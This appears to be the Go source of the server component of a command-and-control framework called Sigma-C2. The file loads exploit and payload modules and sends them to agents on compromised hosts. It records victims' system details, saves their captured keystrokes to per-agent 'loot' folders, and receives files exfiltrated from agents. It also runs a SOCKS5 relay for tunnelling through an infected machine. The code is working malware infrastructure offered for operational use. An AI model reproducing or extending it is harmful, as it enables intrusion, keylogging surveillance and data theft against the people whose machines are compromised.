Sigma-C2/server/agent_modules.go

package main

import (
	"bytes"
	"fmt"
	"io"
	"io/fs"
	"log"
	"net"
	"os"
	"path/filepath"
	"strconv"
	"strings"
	"sync"
	"text/tabwriter"
	"time"
	"unicode/utf8"
)

type Module struct {
	Name        string // Module name (e.g., "print.exe")
	Type        string // Module type (e.g., "exe", "dll", "bin")
	Path        string // File path to the module
	Description string // Description of the module
}

// Map that will hold modules/exploits
var modules = make(map[string]Module)

// Load modules from directory
func InitModules() error {
	// Clear existing modules
	modules = make(map[string]Module)

	modulesDir := "./modules"

	// Check if modules directory exists
	if _, err := os.Stat(modulesDir); os.IsNotExist(err) {
		return fmt.Errorf("modules directory does not exist: %s", modulesDir)
	}

	// Walk through the modules directory
	err := filepath.Walk(modulesDir, func(path string, info fs.FileInfo, err error) error {
		if err != nil {
			return err
		}

		// Skip directories
		if info.IsDir() {
			return nil
		}

		// Get file extension as module type
		fileName := info.Name()
		fileExt := strings.TrimPrefix(filepath.Ext(fileName), ".")

		// Only process supported module types
		if fileExt != "exe" && fileExt != "dll" && fileExt != "bin" {
			debugLog("Skipping unsupported file type: %s", path)
			return nil
		}

		// Read description from accompanying .desc file if it exists
		descPath := strings.TrimSuffix(path, filepath.Ext(path)) + ".desc"
		description := "No description available"

		if descData, err := os.ReadFile(descPath); err == nil {
			description = strings.TrimSpace(string(descData))
		}

		// Create and add the module
		module := Module{
			Name:        fileName,
			Type:        fileExt,
			Path:        path,
			Description: description,
		}

		modules[fileName] = module
		debugLog("Loaded module: %s (%s)", fileName, path)

		return nil
	})

	if err != nil {
		return fmt.Errorf("error walking modules directory: %v", err)
	}

	infoLog("Loaded %d modules from %s", len(modules), modulesDir)
	return nil
}

// Handle information about system received from agent
func HandleSystemInfo(agentID, agentIP, sysInfo string) {
	infoLog("Received system info from agent %s ", agentID)
	messageParts := strings.Split(sysInfo, "|")

	if len(messageParts) < 7 {
		debugLog("Not enough parts in sysinfo")
		return
	}
	newInfo := &AgentInfo{
		OSVersion:    messageParts[0],
		Architecture: messageParts[1],
		Hostname:     messageParts[2],
		Username:     messageParts[3],
		LocalIP:      messageParts[4],
		Procname:     messageParts[5],
		PID:          messageParts[6],
	}

	newInfo.LastConnection = time.Now()
	newInfo.RemoteIP = agentIP

	UpdateAgent(agentID, newInfo)
}

// Formats the raw CSV process data into a nice output
func FormatProcessListOutput(agentID, rawData, taskID string) {
	// Create a buffer for our formatted output
	var buffer bytes.Buffer

	// Create a tabwriter that will handle the column alignment
	w := tabwriter.NewWriter(&buffer, 0, 0, 2, ' ', 0)

	// Print a header banner
	buffer.WriteString("\n[*] Process List\n")
	buffer.WriteString("===============\n\n")

	// Write the table header
	fmt.Fprintln(w, "PID\tPPID\tName\tArch\tUser")
	fmt.Fprintln(w, "---\t----\t----\t----\t----")

	// Split the raw data into lines
	lines := strings.Split(strings.TrimSpace(rawData), "\n")

	// Process count
	processCount := 0

	// Parse each line and format it
	for _, line := range lines {
		// Skip empty lines
		if len(line) == 0 {
			continue
		}

		// Split the CSV line
		parts := strings.Split(line, ",")
		if len(parts) >= 5 {
			pid := parts[0]
			ppid := parts[1]
			name := parts[2]
			arch := parts[3]
			user := parts[4]

			// Format the line
			fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%s\n", pid, ppid, name, arch, user)
			processCount++
		}
	}

	// Flush the tabwriter
	w.Flush()

	// Add a summary at the end
	buffer.WriteString(fmt.Sprintf("\n[+] Found %d processes\n", processCount))

	operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
	if exists {
		operatorConn.Write([]byte(buffer.Bytes()))
	}
}

// Prepare and send encrypted module
func SendModule(agentConn net.Conn, agentID string, task *Task) {
	debugLog("Initiating module transfer")

	payloadSize := len(task.Payload)
	debugLog("Preparing to send module. Size: %d bytes", payloadSize)

	const MaxPayloadSize = 10 * 1024 * 1024 // 10 MB
	if payloadSize > MaxPayloadSize {
		debugLog("Payload size exceeds maximum allowed limit: %d bytes", payloadSize)
		return
	}

	// Waiting for confirmation from agent
	msg := make([]byte, 512)
	agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
	n, err := agentConn.Read(msg)
	if err != nil {
		debugLog("Error or timeout reading ACK message during module transfer %s: %v", agentID, err)
		return
	}

	ack_msg := strings.TrimSpace(string(msg[:n]))
	if ack_msg != "ACK" {
		debugLog("Unknown message during module transfer:%s", ack_msg)
		return
	}
	debugLog("Received ACK from agent, sending module data")

	bytesSent := 0
	for bytesSent < payloadSize {
		n, err := agentConn.Write(task.Payload[bytesSent:])
		if err != nil {
			debugLog("Error sending module data: %v", err)
			return
		}
		bytesSent += n
	}
	debugLog("Module sent successfully to agent %s. Total bytes sent: %d", agentID, bytesSent)
}

// Processes keystrokes and save them to a file
func HandleKeyloggerMessage(agentID string, keystrokes string) {

	log.Print("Keystrokes received")

	// Sanitize the keystroke data by removing null bytes and invalid UTF-8 characters
	keystrokes = strings.ReplaceAll(keystrokes, "\x00", "")
	if !utf8.ValidString(keystrokes) {
		keystrokes = strings.ToValidUTF8(keystrokes, "?")
	}

	// Create the loot directory for the agent if it doesn't exist
	agentDir := filepath.Join("loot", agentID)
	if err := os.MkdirAll(agentDir, 0755); err != nil {
		debugLog("Failed to create directory for agent %s: %v\n", agentID, err)
		return
	}

	// Generate the filename using today's date
	now := time.Now()
	dateStr := now.Format("2006-01-02") // YYYY-MM-DD format
	filename := fmt.Sprintf("%s-keystrokes.log", dateStr)
	filePath := filepath.Join(agentDir, filename)

	// Open the file in append mode, create if it doesn't exist
	file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		debugLog("Failed to open file for agent %s: %v\n", agentID, err)
		return
	}
	defer file.Close()

	// Write the sanitized keystrokes to the file
	if _, err := file.WriteString(keystrokes + "\n"); err != nil {
		debugLog("Failed to write keystrokes for agent %s: %v\n", agentID, err)
	}
}

// Process files sent by agent
func ReceiveFile(agentConn net.Conn, agentID string) {
	debugLog("File transfer session initiated by agent %s", agentID)
	lootPath := filepath.Join("loot", agentID)

	for {
		// Request metadata for the next file
		if _, err := agentConn.Write([]byte("SEND_METADATA")); err != nil {
			debugLog("Error sending SEND_METADATA to agent %s: %v", agentID, err)
			return
		}

		// Receive metadata
		buffer := make([]byte, 1024)
		n, err := agentConn.Read(buffer)
		if err != nil {
			debugLog("Error reading metadata from agent %s: %v", agentID, err)
			return
		}
		metadata := strings.TrimSpace(string(buffer[:n]))
		if metadata == "ENDTRANSFER" {
			debugLog("End of file transfer from agent %s", agentID)
			return
		}

		// Parse metadata (size|path)
		metaParts := strings.Split(metadata, "|")
		if len(metaParts) != 2 {
			debugLog("Invalid metadata from agent %s: %s", agentID, metadata)
			return
		}
		fileSizeStr := metaParts[0]
		filePath := metaParts[1]
		filePath = strings.ReplaceAll(filePath, "\\", "/")

		fileSize, err := strconv.ParseInt(fileSizeStr, 10, 64)
		if err != nil {
			debugLog("Invalid file size from agent %s: %s", agentID, fileSizeStr)
			return
		}

		// Prepare to receive file data
		fullFilePath := filepath.Join(lootPath, filePath)
		err = os.MkdirAll(filepath.Dir(fullFilePath), os.ModePerm)
		if err != nil {
			debugLog("Error creating directory for file %s: %v", fullFilePath, err)
			return
		}

		file, err := os.Create(fullFilePath)
		if err != nil {
			debugLog("Error creating file %s for agent %s: %v", fullFilePath, agentID, err)
			return
		}
		defer file.Close()

		// Request file data
		if _, err := agentConn.Write([]byte("SEND_DATA")); err != nil {
			debugLog("Error sending SEND_DATA to agent %s: %v", agentID, err)
			return
		}

		// Receive file data
		debugLog("Receiving file from agent %s: %s (size: %d bytes)", agentID, filePath, fileSize)
		var totalBytesWritten int64
		buffer = make([]byte, 4096)
		for totalBytesWritten < fileSize {
			bytesToRead := int64(len(buffer))
			if remaining := fileSize - totalBytesWritten; remaining < bytesToRead {
				bytesToRead = remaining
			}

			n, err := agentConn.Read(buffer[:bytesToRead])
			if err != nil && err != io.EOF {
				debugLog("Error reading file data from agent %s: %v", agentID, err)
				return
			}

			bytesWritten, writeErr := file.Write(buffer[:n])
			if writeErr != nil {
				debugLog("Error writing file %s for agent %s: %v", fullFilePath, agentID, writeErr)
				return
			}
			totalBytesWritten += int64(bytesWritten)
		}

		// Notify operators
		message := fmt.Sprintf("File saved: %s (total size: %d bytes)", fullFilePath, totalBytesWritten)
		log.Print(message)
		SendMessageToAllOperators(message)

		// Request next file
		if _, err := agentConn.Write([]byte("NEXT")); err != nil {
			debugLog("Error sending NEXT to agent %s: %v", agentID, err)
			return
		}
	}
}

// Send file to agent
func SendFile(conn net.Conn, localFilePath string, remoteFilePath string) {
	log.Println("Waiting for confirmation from agent")

	buffer := make([]byte, 4096)

	// Wait for "SEND_METADATA"
	n, err := conn.Read(buffer)
	if err != nil || string(buffer[:n]) != "SEND_METADATA" {
		log.Println("Error or unexpected command:", err)
		return
	}

	// Open file and get metadata
	file, err := os.Open(localFilePath)
	if err != nil {
		log.Println("Failed to open file:", err)
		return
	}
	defer file.Close()

	stat, err := file.Stat()
	if err != nil {
		log.Println("Failed to stat file:", err)
		return
	}

	// Send metadata (format: "filesize|filename")
	meta := fmt.Sprintf("%d|%s", stat.Size(), remoteFilePath)
	if _, err := conn.Write([]byte(meta)); err != nil {
		log.Println("Failed to send metadata:", err)
		return
	}

	// Wait for "SEND_DATA"
	n, err = conn.Read(buffer)
	if err != nil || string(buffer[:n]) != "SEND_DATA" {
		log.Println("Expected SEND_DATA, got:", string(buffer[:n]), err)
		return
	}

	// Send file contents
	totalSent := int64(0)
	for {
		n, err := file.Read(buffer)
		if err != nil && err != io.EOF {
			log.Println("Error reading file:", err)
			return
		}
		if n == 0 {
			break
		}
		if _, err := conn.Write(buffer[:n]); err != nil {
			log.Println("Error sending data:", err)
			return
		}
		totalSent += int64(n)
	}
	debugLog("Sent file: %s (%d bytes)\n", localFilePath, totalSent)

	// Wait for "NEXT"
	n, err = conn.Read(buffer)
	if err != nil || string(buffer[:n]) != "NEXT" {
		log.Println("Expected NEXT, got:", string(buffer[:n]), err)
		return
	}

	// Send "END"
	if _, err := conn.Write([]byte("END")); err != nil {
		log.Println("Failed to send END:", err)
		return
	}

	// Wait for "ENDTRANSFER"
	n, err = conn.Read(buffer)
	if err != nil {
		log.Println("Error waiting for ENDTRANSFER:", err)
		return
	}
	if strings.TrimSpace(string(buffer[:n])) == "ENDTRANSFER" {
		log.Println("Transfer successfully completed.")
	} else {
		log.Println("Unexpected final message:", string(buffer[:n]))
	}
}

// SOCKS5 proxy
// listens for agent and client connections on separate ports
func StartRelayServer() error {

	// Agent
	agentLn, err := net.Listen("tcp", "0.0.0.0:30889")
	if err != nil {
		return err
	}
	log.Println("Listening for AGENT on", "0.0.0.0:30889")

	// Client
	clientLn, err := net.Listen("tcp", "0.0.0.0:30900")
	if err != nil {
		agentLn.Close()
		return err
	}
	log.Println("Listening for CLIENT on", "0.0.0.0:30900")

	go func() {
		for {
			agentConn, err := agentLn.Accept()
			if err != nil {
				log.Println("Error accepting client:", err)
				continue
			}
			log.Println("AGENT connected:", agentConn.RemoteAddr())

			go handleTunnel(clientLn, agentConn)
		}
	}()

	return nil
}

// SOCKS5 proxy
// Start tunnel
func handleTunnel(clientLn net.Listener, agentConn net.Conn) {
	defer agentConn.Close()

	log.Println("Waiting for CLIENT...")
	clientConn, err := clientLn.Accept()
	if err != nil {
		log.Println("Error accepting agent:", err)
		return
	}
	log.Println("CLIENT connected:", clientConn.RemoteAddr())
	defer clientConn.Close()

	var wg sync.WaitGroup
	wg.Add(2)

	go pipe(&wg, clientConn, agentConn)
	go pipe(&wg, agentConn, clientConn)

	wg.Wait()
	log.Println("Tunnel between client and agent closed.")
}

// Exchange data
func pipe(wg *sync.WaitGroup, src net.Conn, dst net.Conn) {
	defer wg.Done()

	_, err := io.Copy(dst, src)
	if err != nil {
		log.Printf("Pipe error: %v", err)
	}

	// Gracefully close write direction only
	if tcpDst, ok := dst.(*net.TCPConn); ok {
		tcpDst.CloseWrite()
	}
}